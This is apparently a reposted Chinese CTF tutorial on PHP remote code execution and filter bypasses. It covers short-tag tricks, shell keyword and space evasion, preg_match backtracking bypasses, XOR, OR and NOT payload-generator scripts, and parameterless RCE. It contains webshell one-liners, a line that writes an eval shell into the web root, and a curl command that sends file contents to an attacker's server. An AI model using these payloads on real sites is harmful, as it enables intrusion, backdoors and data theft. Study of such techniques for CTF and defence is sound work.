您现在的位置是:首页 > 技术教程 正文

php rce和绕过

admin 阅读: 2024-03-16
后台-插件-广告管理-内容页头部广告(手机)

php特性:

短标签

<?php ?>是正和常情况下的标签,用于识别这是个php文件,但php也允许使用短标签<? ?>和<?=  >,可以用于php被过滤的情况下。

<? ?>等价于<?php ?>

<?= >等价于<?php echo ?>

例如

<?='Hello World'?>    // 输出 "Hello World"

命令执行之偏招:

1.

system(current(getallheaders()));

gettallheaders()将报文头信息转为数组返回

current()将数组当前元素返回(默认指向第一个元素)

因此我们只需在报文头最前面添加一个执行命令即可

passthru

例如:eval('echo '.$str.';');

$Str=passthru(chr(108).chr(115).chr(32).chr(47));(等于`ls /`)

scandir

var_dump(scandir(chr(47)));       (chr(47)==/,该命令会显示根目录下的文件)

var_dump(scandir(‘./’)) 查看上级目录来查看当前文件名

glob

eval($c);

如果是这样的情况,可以

1.嵌套eval逃逸参数

?c=eval($_GET[1]);&1=system('tac flag.php');

2.套娃

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

还有get_defined_vars()的形式,可以看下面的博客

CTFshow 命令执行 web29 30 31_白帽Chen_D的博客-CSDN博客

3.利用伪协议

?c=include/require$_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php

如果过滤了分号,那么可以直接 ?> 闭合php( ?> 闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的。除此以外,php代码最后一句可以不用加分号,可以绕过分号的过滤)

如下面代码所示

?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

过滤php:可以用到上文的短标签

<?=`tac /var/www/html/flag.p??`?>

<?=  等同于echo

也可使<?=@eval($_POST[1])?>

关键字过滤

读取命令代替

cat可以用一下代替

  1. more:一页一页的显示档案内容
  2. less:与 more 类似
  3. head:查看头几行
  4. tac:从最后一行开始显示,可以看出 taccat 的反向显示
  5. tail:查看尾几行
  6. nl:显示的时候,顺便输出行号
  7. od:以二进制的方式读取档案内容
  8. vi:一种编辑器,这个也可以查看
  9. vim:一种编辑器,这个也可以查看
  10. sort:可以查看
  11. uniq:可以查看
  12. file -f:报错出具体内容
  13. sh /flag 2>%261 //报错出文件内容

 

也可以利用curl命令结合file协议

  1. curl file://要读取文件的绝对路径
  2. 例如curl file:///flag //读取根目录下的flag文件

find命令 :

find / -name 文件名(可以加通配符)   // 查找指定文件

find                                                  //列出当前目录和子目录的文件

使用转义符号

  1. ca\t /fl\ag
  2. cat fl''ag

拼接法

$IFS等价于空格

a=fl;b=ag;cat$IFS$a$b

使用空变量$*和$@,$x,${x}绕过

通配符绕过

  1、*:通配符,代表任意字符,0到多个

  2、?:通配符,代表一个字符

  3、#:注释

  4、\:转义符号,将特殊字符或通配符还原成一般符号

  5、|:分割两个管线命令的界定

  6、;:连续性命令的界定

  7、~:用户的根目录

  8、$:变量前需要加的变量值

  9、!:逻辑运算中的“非”

  10、/:路径分割符号

  11、>:输出导向,分别为“取代”和“累加”

  12、>>:输出导向,分别为“取代”和“累加”

  13、':不具有变量置换功能

  14、":具有变量置换功能

  15、`:quote符号,两个`中间为可以先执行的指令

  16、():中间为子shell的起始与结束

  17、[]:中间为字符组合

  18、{}:中间为命令区块组合

  19、&&:当该符号前一个指令执行成功时,执行后一个指令

  20、||:当该符号前一个指令执行失败时,执行后一个指令

其中常用的是? * [] && ||,感兴趣的可以去学习linux下的通配符,这里不再赘述。

反引号绕过

反引号可以直接内部命令并将结果返回。

一般用在需要读取的文件名被过滤时,例如flag文件名被过滤,可以

在php中也同样适用,下面命令就会返回根目录下文件。

<?php echo `ls /`;?>

结合短标签就是

<?= `ls /`?> 同时php中${}和反引号有一样的效果 echo $(ls); ?><?=$(ls);

编码绕过

base64编码

base64 file
功能:从指定的文件file中读取数据,编码为base64的字符串然后输出;

echo “string” | base64
功能:将字符串string+换行编码为base64的字符串然后输出;

echo -n “string” | base64
功能:将字符串string编码为base64的字符串然后输出;

base64解码
base64 -d file
功能:从指定的文件file中读取已经过base64编码的数据,然后进行解码,并输出解码后的字符串;

echo “str” | base64 -d
功能:对base64编码的字符串str和空行进行解码,然后将解码后的字符串输出;

echo -n “str” | base64 -d
功能:对base64编码的字符串str进行解码,然后将解码后的字符串输出;

1.可以用来替代cat等读取文件。

2.可以结合反引号绕过对读取文件的过滤

类似的还有八进制,十六进制等

如果题目是通过get传参,我们可以将payload进行一次url加密,因为url栏默认会将其中的内容解密一次。

过滤空格

  1. %09(url传递)(cat%09flag.php)
  2. ${IFS}
  3. $IFS$9
  4. <>(cat<>/flag)
  5. <(cat</flag)
  6. {cat,flag}

过滤分隔符&

  1. ; //分号
  2. | //只执行后面那条命令
  3. || //只执行前面那条命令
  4. & //两条命令都会执行
  5. && //两条命令都会执行
  6. %0a //换行符
  7. %0d //回车符号

执行结果无回显:

一:exec函数造成无回显

1、判断是否执行成功我们可以用sleep()

ls;sleep(5);

2、用压缩、复制、写shell等方法对其进行绕过(此处要注意权限,看是否有写的权限)

  1. copy flag 1.txt
  2. mv flag 1.txt
  3. cat flag > 1.txt
  4. tar zcvf flag.tar.gz flag

3.tee 命令: 将想要执行的命令写入到一个文件里面,然后再去访问这个文件,以此来执行这个命令。

适用于exec命令无回显

?url=ls / | tee 1.txt 访问1.txt即可  |将前面命令的结果作为后面命令的参数

也可以

cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php"

4.数据外带:

在自己的vps上建立如下脚本

  1. <?php
  2. $data =$_GET['data'];
  3. $f = fopen("flag.txt", "w");
  4. fwrite($f,$data);
  5. fclose($f);
  6. ?>

payload:

curl http://*.*.*.**/record.php?data=`cat flag`

二: >/dev/null 2>&1类无回显

执行代码中插入了>/dev/null 2>&1,“>/dev/null 2>&1”的作用就是不回显,用管道符绕过即可

例如:ls||

preg_match()

对于正则匹配的介绍过于繁琐,这里就直接放链接了。

正则表达式 – 语法 | 菜鸟教程b


补一张教程里没提到的图

正则表达式 – 语法 | 菜鸟教程

下面介绍一些常见的绕过

数组绕过

preg_match()遇到数组会直接返回flase。

常见数组形式:

  1. $a[]='flag.php';
  2. $a=array('flag.php');
  3. $a=['flag.php'];

回溯次数绕过

非贪婪模式,当部分正则匹配,但是不符合完整正则时,正则引擎会逐个字符减少,然后回溯匹配,这个回溯匹配具有次数限制,超过限制则会返回false。举个例子:

$data = '<?php phpinfo();aa' ;

preg_match('/<\?.*[(`;?>].*/is', $data);

这个正则匹配的意思是: 首先匹配<?,然后.*可以匹配任意字符,[(`;?>]匹配[]中的任意字符(此处即`;?>),然后.*匹配任意字符

第一次匹配: <?php phpinfo();aa        

再匹配到<?之后.*一直匹配到末尾的a,满足正则'<\?.*' ,但是不满足完整正则,因为完整的正则还需要匹配到[(`;?>].*,于是会吐出一个a,即下次匹配字符串<?php phpinfo();a。

第二次匹配: <?php phpinfo();a              

仍然是满足正则'<\?.*' ,但是不满足完整正则,继续吐出一个a。

第三次匹配: <?php phpinfo();                

仍然是满足正则'<\?.*' ,但是不满足完整正则,继续吐出一个;

第四次匹配: <?php phpinfo()               

此时.*匹配完<?php phpinfo(),[(`;?>]匹配到?,满足正则'/<\?.*[(`;?>].*/is' ,满足整个正则

这就是回溯匹配,上面共回溯了四次,一旦回溯的次数超过临界,就会返回false。

参考链接:preg_match函数绕过 | 码农网

  1. if(preg_match('/.+?SHCTF/is', $code))
  2. {
  3. die('no touch!');
  4. }
  5. if(stripos($code,'2023SHCTF') === FALSE)
  6. {
  7. die('what do you want');
  8. }

列如上述代码就可以通过回溯次数绕过,.+与.*在这里等价,都是非贪婪模式匹配前面子表达式n次,因此可以用回溯次数绕过

贴一个简单脚本。

  1. import requests
  2. from io import BytesIO
  3. data=BytesIO(b'SHCTF'*10000000+b'2023SHCTF') #b表示这是byte类型的字符串而不是str类型
  4. res = requests.get('http://地址/?file='+str(data))
  5. print(res.content)

换行符绕过

.不会匹配换行符,因此%0aflag(%0a是换行符的url编码)即可绕过。

  1. show_source(__FILE__);
  2. include('flag.php');
  3. $a=$_GET['cmd'];
  4. if(preg_match('/^php$/im', $a)){
  5. if(preg_match('/^php$/i', $a)){
  6. echo 'hacker';
  7. }
  8. else{
  9. echo $flag;
  10. }
  11. }
  12. else{
  13. echo 'nonononono';
  14. }

im模式是可以匹配很多行

i模式只能匹配一行

多行模式的意思是对每一行都进行正则匹配

在上述题目中,第一次匹配是多行,而第二次则是非多行

可以传入?cmd=php%0aphp ,在第二次匹配中换行符不会被识别,相当于是php开头,aaa结尾,不符合匹配。

或aaa%0aphp也可。

preg_match_all()代码执行

  1. preg_match_all(
  2. string $pattern,
  3. string $subject,
  4. array &$matches = null,
  5. int $flags = 0,
  6. int $offset = 0
  7. ): int|false|null

参数
pattern
要搜索的模式,字符串形式。

subject
输入字符串。

matches
多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。

flags
可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):

PREG_PATTERN_ORDER

结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。
因此下列情况中

(!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array))

可以将rce代码输入到$pat_array中。

例题:

1.[鹏城杯 2022]简单的php

  1. <?php
  2. show_source(__FILE__);
  3. $code = $_GET['code'];
  4. if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
  5. die(' Hello');
  6. }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
  7. @eval($code);
  8. }
  9. ?>

这一题的难点就在于这个正则匹配式: /[^\s\(\)]+?\((?R)?\)/

我们一步步看,可以拆开成[^\s\(\)]+?   \(    (?R)?   \) 这样四部分来看。

1.首先[^\s\(\)]匹配任意非空白字符(\s是任意空白字符,加了^表示否定)和左右括号(),+表示执行[^\s\(\)]一次或多次,?表示执行[^\s\(\)]*零次或一次。

2.然后\(匹配左括号

3.(?R)? 表示递归运行前面的式子,可以看下面这篇博客。

理解正则表达式中的(?R)递归_正则?r-CSDN博客

4.最后\)匹配右括号。

因为禁用了字母和数字,所以我们可以结合无子母rce中的取反绕过(取反产生的字符不会被正则匹配)

做个小实验:

  1. <?php
  2. show_source(__FILE__);
  3. $code = $_GET['code'];
  4. $string = preg_replace('/[A-Za-z0-9]/', '', $code);
  5. echo $string
  6. ?>
  1. // phpinfo 的值
  2. ?code=[~%8f%97%8f%96%91%99%90][!%FF]();

 结果:可见取反产生的%8f实际上是不可显示字符经过url编码得到的。

有一个问题不知道大家发现了没有:一般取反绕过我们是由中括号的,例如(phpinfo)(),但是这里用的是[],且还有[!%FF]这个莫名其妙的东西。

因为正则匹配中我们需要先匹配到一个不为()的字符,因此没办法用(phpinfo)()这种形式,因此我们选择用二位数组绕过,[]表示二维数组的一行,每一行之间用[!%FF]作为分割符。

最后的payload是构造system(current(getallheaders()));(这个命令执行在上文命令执行之偏招中有讲)

?code=[~%8c%86%8c%8b%9a%92][!%FF]([~%9c%8a%8d%8d%9a%91%8b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]()));

无字母rce

异或运算绕过:

在 PHP 中两个字符串异或之后,得到的还是一个字符串。如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行异或,从而得到我们想要的字符串。

eecho '?'^'~';

返回值为A,因此在禁用字母和数字的情况下,可以通过异或来构造payload。

下面附上脚本

  1. <?php
  2. $myfile = fopen("res.txt", "w");
  3. $contents="";
  4. for ($i=0; $i < 256; $i++) {
  5. for ($j=0; $j <256 ; $j++) {
  6. if($i<16){
  7. $hex_i='0'.dechex($i);
  8. }
  9. else{
  10. $hex_i=dechex($i);
  11. }
  12. if($j<16){
  13. $hex_j='0'.dechex($j);
  14. }
  15. else{
  16. $hex_j=dechex($j);
  17. }
  18. $preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
  19. if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
  20. echo "";
  21. }
  22. else{
  23. $a='%'.$hex_i;
  24. $b='%'.$hex_j;
  25. $c=(urldecode($a)^urldecode($b));
  26. if (ord($c)>=32&ord($c)<=126) {
  27. $contents=$contents.$c." ".$a." ".$b."\n";
  28. }
  29. }
  30. }
  31. }
  32. fwrite($myfile,$contents);
  33. fclose($myfile);

先用该脚本生成所有字符异或后的结果,用于下一个脚本的使用。

  1. import requests
  2. import urllib
  3. from sys import *
  4. import os
  5. def action(arg):
  6. s1=""
  7. s2=""
  8. for i in arg:
  9. f=open("res.txt","r")
  10. while True:
  11. t=f.readline()
  12. if t=="":
  13. break
  14. if t[0]==i:
  15. #print(i)
  16. s1+=t[2:5]
  17. s2+=t[6:9]
  18. break
  19. f.close()
  20. output="(\""+s1+"\"^\""+s2+"\")"
  21. return(output)
  22. while True:
  23. param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
  24. print(param)

该脚本能生成payload

或绕过

原理和异或绕过类似,只不过用的是|运算符。

直接放脚本

  1. import re
  2. import urllib
  3. from urllib import parse
  4. hex_i = ""
  5. hex_j = ""
  6. pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' #正则过滤的内容
  7. str1=["system","dir"]
  8. for p in range(2):
  9. t1 = ""
  10. t2 = ""
  11. for k in str1[p]:
  12. for i in range(256):
  13. for j in range(256):
  14. if re.search(pattern,chr(i)) :
  15. break
  16. if re.search(pattern,chr(j)) :
  17. continue
  18. if i < 16:
  19. hex_i = "0" + hex(i)[2:]
  20. else:
  21. hex_i=hex(i)[2:]
  22. if j < 16:
  23. hex_j="0"+hex(j)[2:]
  24. else:
  25. hex_j=hex(j)[2:]
  26. hex_i='%'+hex_i
  27. hex_j='%'+hex_j
  28. c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
  29. if(c ==k):
  30. t1=t1+hex_i
  31. t2=t2+hex_j
  32. break
  33. else:
  34. continue
  35. break
  36. print("(\""+t1+"\"|\""+t2+"\")")

取反绕过

取反符号~,用的字符不会触发正则表达式,所以我们直接用php脚本生成payload即可。

  1. <?php //在命令行中运行
  2. fwrite(STDOUT,'[+]your function: ');
  3. $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  4. fwrite(STDOUT,'[+]your command: ');
  5. $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
  6. echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
  7. ?>

但是细心的同学会发现,上述代码取反后应该是(system)(ls); 并不是正常的system(ls);

实际上,php也支持(func_name)()这样执行代码的方式。

例如phpinfo(); 也可以用下面代码表示

  1. ?code=(~%8F%97%8F%96%91%99%90)();
  2. # %8F%97%8F%96%91%99%90 : phpinfo

并且值得注意的是,如果 直接执行phpinfo()是不会成功的

  1. ?code=(~%8F%97%8F%96%91%99%90%D7%D6);
  2. # %8F%97%8F%96%91%99%90%D7%D6 : phpinfo()

 如果我们想要传入一句话木马,也需要以("assert")("eval($_POST[shell])")的形式

具体可以看下面这篇博客

web安全-PHP-url编码取反绕过正则-思考_利用取反操作正则绕过,使用post传参-CSDN博客

无参数rce:

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star']

上述情况下,正则递归匹配,我们只能采用func1(func2())的形式来getshell,例如system(current(getallheaders()));

具体解析看上文例题[鹏城杯 2022]简单的php

 1、getallheaders()

system(current(getallheaders()));

gettallheaders()将报文头信息转为数组返回

current()将数组当前元素返回(默认指向第一个元素)

因此我们只需在报文头最前面添加一个执行命令即可

也可以配合end函数读取数组最后一个元素。

当end和current被禁用时,还可以使用next()取出数组下一个元素的值。

但是我在本地跑出来的headers很杂

遇到的题目一般都是采用

system(next(getallheaders()));     然后修改User-Agent为执行的代码,不是很懂为什么题目返回的head中User-Agent是第二个元素(留待日后碰到不一样的情况再讨论)。

  2、get_defined_vars()

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

还有get_defined_vars()的形式,可以看下面的博客

CTFshow 命令执行 web29 30 31_白帽Chen_D的博客-CSDN博客

  3、session_id()

 官方说:session_id()可以用来获取/设置当前会话 ID。
那么可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。
但其有限制:

文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号)

解决方法:将参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了。

先放最后的payload

(其中hex("phpinfo();")=706870696e666f28293b)

?exp=eval(hex2bin(session_id(session_start())));对这个式子进行解析

session_start可以打开session对话,session_id()获取PHPSESSID,hex2bin()函数进行十六进制解码,最后执行,所以我们只需要设置PHPSESSID为webshell的hex()加密即可。

参考链接无参数RCE--总结_getallheaders()函数利用_TzzSa的博客-CSDN博客

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索